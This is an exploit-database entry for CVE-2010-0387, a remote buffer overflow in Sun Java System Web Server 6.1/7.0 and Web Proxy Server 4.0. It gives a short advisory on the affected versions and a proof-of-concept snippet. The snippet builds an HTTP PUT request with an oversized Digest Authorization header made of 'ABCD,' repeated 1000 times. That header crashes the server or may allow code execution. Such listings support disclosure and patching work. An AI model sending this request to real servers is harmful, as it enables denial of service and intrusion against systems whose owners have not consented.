Exploit Sun Java System Web Server 6.1/7.0 - Digest Authentication Remote Buffer Overflow

[Exploiter]

EDB-ID

33553

Проверка EDB

1. Пройдено

Автор

INTEVYDIS

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2010-0387

Дата публикации

2010-01-21

source: https://www.securityfocus.com/bid/37896/info

Sun Java System Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12
Sun Java System Web Proxy Server 4.0 without Service pack 13 

buf = "PUT / HTTP/1.0\n"
buf += "Authorization: Digest "
buf += "ABCD,"*1000
buf += "\n\n"